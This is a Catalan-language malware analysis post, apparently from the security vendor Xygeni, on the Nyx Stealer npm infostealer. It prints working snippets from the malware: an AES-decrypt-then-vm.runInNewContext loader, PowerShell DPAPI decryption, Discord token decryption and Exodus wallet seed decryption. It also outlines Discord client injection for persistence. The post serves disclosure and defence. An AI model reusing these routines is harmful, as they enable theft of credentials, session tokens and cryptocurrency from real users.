npm Infostealer

Nou descobriment de lladre d'informació de npm: el lladre de Nyx segresta sessions de Discord

TL; DR

L'equip de recerca de seguretat de Xygeni ha identificat una sofisticada campanya de lladre d'informació npm distribuïda a través de dos paquets maliciosos: consolelofy i selfbot-lofy.

La darrera versió (consolelofy@1.3.0) incrusta una càrrega útil xifrada amb AES de 216 KB que es desxifra en temps d'execució i s'executa mitjançant vm.runInNewContext()Com que la lògica maliciosa està completament xifrada, els escàners estàtics que es basen en la inspecció de cadenes no poden observar el seu comportament fins al moment de l'execució.

Un cop desxifrat, la càrrega útil, amb marca interna Nyx Stealer, objectius:

  • Tokens d'autenticació de Discord
  • Més de 50 magatzems de credencials de navegador
  • Més de 90 extensions de cartera de criptomonedes
  • Sessions de Roblox, Instagram, Spotify, Steam, Telegram i TikTok
  • Persistència del client d'escriptori Discord

Es van reportar i confirmar que les 20 versions d'ambdós paquets eren malicioses.

Visió tècnica d'aquest Infostealer npm

A diferència del programari maliciós tradicional en el moment de la instal·lació, aquesta campanya es basa en un temps d'execució model de desxifratge.

Hi ha:

  • Sense maliciós preinstall or postinstall hooks
  • Sense trucades de xarxa evidents en temps d'instal·lació
  • Sense lògica de recopilació de credencials de text sense format

La càrrega útil s'activa quan s'importa el mòdul. Tot el cos maliciós està xifrat i només es materialitza a la memòria durant l'execució.

Aquest disseny evita específicament la detecció durant la instal·lació del paquet.

Com s'executa realment aquest Infostealer npm

Abans d'analitzar què roba Nyx Stealer, hem d'entendre com s'executa.

La lògica maliciosa dins d'aquest infostealer npm segueix un patró consistent:

Un petit carregador desxifra una gran càrrega útil xifrada i l'executa dinàmicament dins d'un context de màquina virtual Node.js.

Aquest disseny és deliberat. L'atacant no amaga la funcionalitat només darrere l'ofuscació, sinó que... eliminant completament el codi maliciós de la visibilitat estàtica.

Model d'execució d'alt nivell

A un nivell general, el contenidor fa quatre coses:

  • Deriva una clau AES a partir d'una contrasenya codificada mitjançant SHA-256
  • Desxifra un text xifrat gran codificat en hexadecimal mitjançant AES-256-CBC
  • Executa el JavaScript desxifrat utilitzant vm.runInNewContext()
  • Proporciona una zona de proves que encara exposa primitives potents en temps d'execució

Resum de la tècnica bàsica

Component Configuració / Valor
Algorisme AES-256-CBC
Derivació de claus SHA-256 (frase de contrasenya)
Initialization Vector (IV) 16 bytes de 0x00
Execució vm.runInNewContext(desxifrat, zona de proves)

Críticament, la caixa de proves passa per:

  • require
  • process
  • Buffer
  • temporitzadors
  • exportacions de mòduls

Això significa que la càrrega útil desxifrada conserva plena capacitat per:

  • Processos de generació
  • Llegir i escriure fitxers
  • Fer trucades de xarxa
  • Modificar aplicacions locals

Aquesta no és una màquina virtual restringida. És una màquina virtual que s'utilitza com a trampolí d'execució.

Patró de xifratge en temps d'execució (mecanisme d'execució principal)

El carregador és petit.
El cos maliciós no ho és.

A continuació es mostra el patró d'execució que es troba dins del paquet:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Per què aquest Matters

La càrrega útil desxifrada:

  • no existeix en text pla dins del paquet npm
  • És invisible per als simples grep o escaneig estàtic de cadenes
  • Només es materialitza a la memòria en temps d'execució
  • S'executa amb totes les capacitats d'execució de Node

Aquesta combinació d'execució AES + VM és un fort indicador de comportament d'un El lladre d'informació de NPM intenta evadir una inspecció estàtica.

En altres paraules:

Si escanegeu l'arbre font del paquet, no veureu cap lladre.
Veus un desxifrador.

Què passa després del desxifratge

Un cop executat, Nyx Stealer llança ones paral·leles de recopilació de dades.

Onada 1: Extracció de credencials del navegador

El programari maliciós:

  • Descarrega un temps d'execució de Python des de la CDN de NuGet
  • Instal·la biblioteques criptogràfiques
  • Extrau magatzems de credencials basats en crom
  • Desxifra els secrets protegits per DPAPI

En lloc de compilar enllaços natius, aprofita el PowerShell per cridar directament la DPAPI de Windows.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Aquest enfocament:

  • Evita els artefactes de compilació
  • Utilitza API de criptografia natives de Windows
  • S'integra amb eines administratives

És un desxifratge de credencials a nivell de sistema operatiu, no un scraping.

Onada 2: Desxifratge de tokens de Discord

El lladre coneix el protocol. Entén el format de token xifrat de Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Flux operatiu:

  • Extreure la clau mestra del Discord Local State
  • Desxifra la clau mestra mitjançant DPAPI
  • Desxifrar els blobs de tokens AES-GCM
  • Valida els tokens contra l'API de Discord
  • Enriquir amb Nitro, distintius i informació de facturació

Això no és un dumping de credencials genèric. És un segrest de sessió amb protocol.

Onada 3: Segmentació de moneders de criptomonedes

L'infostealer de npm enumera:

  • Més de 90 extensions de cartera de navegador
  • 27 carteres d'escriptori
  • Camins de cartera freda
  • Fitxers de llavor d'Èxode

Exemple d'intent de desxifratge de llavor:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Si té èxit, el compromís de la cartera és immediat i irreversible.

Això representa el vector de monetització de més valor de la campanya.

Persistència mitjançant la injecció de Discord Desktop

Després de recollir credencials, Nyx Stealer intenta la persistència modificant el fitxer local. Discòrdia client.

Objectiu:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Seqüència operativa

L'infostealer realitza els passos següents:

  • Finalitza els processos Discord en execució
  • Localitza les variants de Discord instal·lades (Stable, Canary, PTB)
  • Sobreescriu discord_desktop_core/index.js
  • Injecta la lògica de webhook controlada per l'atacant
  • Reinicia Discord

Això garanteix que les futures sessions de Discord filtrin automàticament tokens d'autenticació nous.

És important destacar que aquesta persistència no depèn de tasques programades ni de modificacions del registre. Aprofita la modificació de codi a nivell d'aplicació, un enfocament més discret.

Fins i tot si el paquet npm maliciós s'elimina més tard, el client Discord continua compromès.

Comparació tècnica: Selfbot legítim vs Infostealer de npm

Component Biblioteca legítima Nyx npm Infostealer
Xifrat cap Càrrega útil xifrada amb AES completa
màquina virtual en temps d'execució No es requereix vm.runInNewContext execució
Accés a credencials Només API de Discord Navegador, carteres, DPAPI
Descàrregues externes no Execució de Python a través de NuGet
Persistència no Injecció de clients de Discord
monetització Automatització de bots Revenda de credencials

La capa d'encriptació per si sola ja separa aquesta campanya d'una bifurcació típica de codi obert.

Un selfbot legítim de Discord no té cap motiu per xifrar tota la seva base de codi, generar PowerShell per accedir a DPAPI, descarregar temps d'execució externs o modificar els components interns de les aplicacions d'escriptori. Quan aquestes capacitats apareixen dins d'una dependència que afirma automatitzar les interaccions de Discord, la discrepància arquitectònica esdevé impossible d'ignorar.

Des del punt de vista de la investigació, aquest lladre d'informació npm deixa rastres a través de múltiples capes. Tanmateix, els indicadors més fiables no són les URL codificades ni les rutes de fitxer específiques, ja que poden canviar entre versions. En canvi, els senyals duradors són estructurals.

A nivell de paquet, el senyal d'alerta més fort és la combinació d'una gran càrrega útil xifrada i un contenidor de desxifratge en temps d'execució que s'executa immediatament a través de vm.runInNewContext()Tot i que el xifratge per si sol no és inherentment maliciós, l'ús del desxifratge AES seguit de l'execució dinàmica de màquines virtuals dins d'un paquet d'utilitats Discord és altament anòmal.

A nivell d'amfitrió, els patrons sospitosos inclouen activitat de desxifratge DPAPI inesperada, processos que sorgeixen des d'un context de dependència Node.js i modificació de fitxers d'aplicacions locals que biblioteques de tercers no haurien de ser alterats mai. De la mateixa manera, a la capa de xarxa, la comunicació de sortida d'estil webhook iniciada per una dependència de desenvolupament representa una altra anomalia significativa.

En altres paraules, la superfície de detecció no és un únic indicador de compromís. És la correlació entre el xifratge, l'execució en temps d'execució, l'accés a les credencials i el comportament de persistència el que revela l'amenaça.

Detecció i mitigació amb Xygeni

npm Infostealer

Aquest lladre d'informació npm va ser identificat per Alerta precoç de programari maliciós (MEW) de Xygeni mitjançant una correlació comportamental per capes en lloc d'una simple coincidència de signatures.

En lloc de cercar cadenes malicioses conegudes, MEW avalua anomalies estructurals a tot l'arbre font. En aquest cas, la detecció va sorgir de la convergència de diversos senyals: una rutina de desxifratge AES integrada al punt d'entrada del mòdul, execució immediata dins d'un context de màquina virtual i una clara discrepància entre capacitat i intenció.

És important destacar que cap d'aquests senyals per si sol demostra una intenció maliciosa. Tanmateix, quan s'analitzen conjuntament, exposen un intent d'ocultar el comportament en temps d'execució. Aquest enfocament per capes redueix significativament els falsos positius alhora que identifica amenaces de la cadena de subministrament d'alta confiança.

A més, aquest cas il·lustra per què la inspecció en temps d'instal·lació per si sola no és suficient. La lògica maliciosa no resideix en els scripts del cicle de vida. Només s'activa després de la càrrega del mòdul i només es fa visible un cop es desxifra a la memòria. Per tant, una defensa eficaç requereix una anàlisi conscient del xifratge, reconeixement de patrons de comportament i supervisió contínua de dependències més enllà dels esdeveniments d'instal·lació.

La supressió del registre és reactiva. L'anàlisi en temps d'execució és preventiva.

Per què és important aquest lladre d'informació de npm

Nyx Stealer representa una evolució estructural en el programari maliciós basat en npm.

Històricament, molts paquets maliciosos es basaven en scripts visibles en temps d'instal·lació o en punts finals d'exfiltració de credencials evidents. En canvi, aquesta campanya xifra la seva càrrega útil, ajorna l'execució al temps d'execució, aprofita les API legítimes del sistema operatiu i estableix persistència dins de les aplicacions de confiança.

En conseqüència, l'atacant no necessita explotar la infraestructura npm en si. En canvi, l'atac té èxit perquè la instal·lació de dependències implica confiança. Els desenvolupadors assumeixen que importar una biblioteca és una operació segura, sobretot quan es presenta com una bifurcació plausible d'una eina popular.

A mesura que els ecosistemes continuen creixent i les forques proliferen, aquest límit de confiança implícit esdevé una superfície d'atac cada cop més atractiva. Per tant, defensar-se contra els moderns lladres d'informació de NPM requereix reconèixer patrons arquitectònics en lloc de buscar cadenes estàtiques.

En definitiva, aquesta campanya reforça una lliçó fonamental en software supply chain security: les amenaces més perilloses no són les que semblen malicioses a primera vista, sinó les que semblen estructuralment legítimes fins que el temps d'execució revela el seu veritable comportament.

sca-tools-software-composition-analyse-tools
Prioritzar, solucionar i protegir els riscos del programari
Obtén el teu compte gratuït.
No es requereix cap targeta de crèdit.

Assegura el desenvolupament i el lliurament del teu programari

amb el paquet de productes Xygeni